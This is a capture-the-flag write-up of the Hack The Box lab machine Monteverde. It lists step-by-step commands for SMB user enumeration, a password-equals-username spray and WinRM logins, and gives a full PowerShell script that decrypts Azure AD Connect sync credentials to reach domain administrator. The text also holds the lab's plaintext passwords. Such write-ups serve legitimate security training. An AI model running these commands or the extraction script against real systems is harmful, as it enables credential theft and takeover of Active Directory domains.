HTB - Monteverde Writeup - no Metasploit
Summary An anonymous SMB connection via nxc exposed a list of usernames. One of these accounts had a password identical to its username, allowing access to view shares using that account. An azure.xml file was found o
Summary
- An anonymous SMB connection via
nxcexposed a list of usernames. One of these accounts had a password identical to its username, allowing access to view shares using that account. - An
azure.xmlfile was found onusers$revealing credentials for themhopeaccount. -
mhopewas a member of theAzure Adminsgroup, providing access to the Azure AD Connect server. - The target server was running Azure AD Connect. Using a known script, credentials for the Admin account were extracted.
Recommendation
Assuming this were a real environment, I would recommend the following.
- Restrict anonymous SMB connections so that username enumeration is not possible.
- Periodically audit accounts for cases where the password matches the username.
Enumeration
First of all, let's enumerate open ports using nmap as follows.
sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.228.111
ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.228.111
Ports 135(RPC), 139(Netbios), 445(SMB) are open while 53(DNS), 88(Kerberos) and 389(LDAP) are open. This suggests a Windows machine having an Active Directory domain.
The domain name is revealed as MEGABANK.LOCAL.
sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.228.111
No interesting UDP ports.
Let's check the domain info.
dig @10.129.228.111 MEGABANK.LOCAL any
A new domain name is revealed monteverde.MEGABANK.LOCAL.
Let's add the mapping between IP and domains.
echo "10.129.228.111 MEGABANK.LOCAL monteverde.MEGABANK.LOCAL" | sudo tee -a /etc/hosts
Since it's a Windows machine having Active Directory domain, let's try anonymous and guest login for shares, users and groups at first.
nxc smb 10.129.228.111 -u '' -p '' --shares --users --groups
10 local users are revealed.
Let's make users.txt.
Exploitation
impacket-GetNPUsers MEGABANK.LOCAL/ -no-pass -usersfile users.txt -dc-ip 10.129.228.111
Nothing.
Checking whether there is a user using username as password.
nxc smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success
Yes! SABatchJobs:SABatchJobs.
Let's check the SMB using the credential.
nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares --users --groups
azure_uploads and users$ seem interesting.
smbclient //10.129.228.111/azure_uploads -U 'MEGABANK.LOCAL\SABatchJobs%SABatchJobs'
Nothing special.
smbclient //10.129.228.111/users$ -U 'MEGABANK.LOCAL\SABatchJobs%SABatchJobs'
azure.xml is found in mhope!
New Credential! mhope:4n0therD4y@n0th3r$
for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.111 -u 'mhope' -p '4n0therD4y@n0th3r$' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.111 -u 'mhope' -p '4n0therD4y@n0th3r$'; done
evil-winrm -i 10.129.228.111 -u mhope -p 4n0therD4y@n0th3r$
type C:\Users\mhope\Desktop\user.txt
user.txt pawned!
Privilege Escalation
Let's start with BloodHound.
nxc ldap 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$' --bloodhound --collection All --dns-server 10.129.228.111 && mv ~/.nxc/logs/*bloodhound.zip .
The structure of mhope has Azure Admins which sounds interesting.
The 8th hint of Guide mode provides us this page, https://blog.xpnsec.com/azuread-connect-for-redteam/ .
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
The 3rd line needs to be changed as follows. This amendment is the same as the following site, https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1?source=post_page-----808ffe5cdded----------------------------------------- .
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=localhost;Initial Catalog=ADSync;Integrated Security=True"
Then, let's run it.
powershell -ExecutionPolicy Bypass -File script.ps1
evil-winrm -i 10.129.228.111 -u administrator -p d0m@in4dminyeah!
type C:\Users\Administrator\Desktop\root.txt
Hooray!
Lessons Learned
- I couldn’t come up with the fact that password is the same as the username.
- The Azure AD Connect server may expose credentials for the MSOL account, which can be read by a known script.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.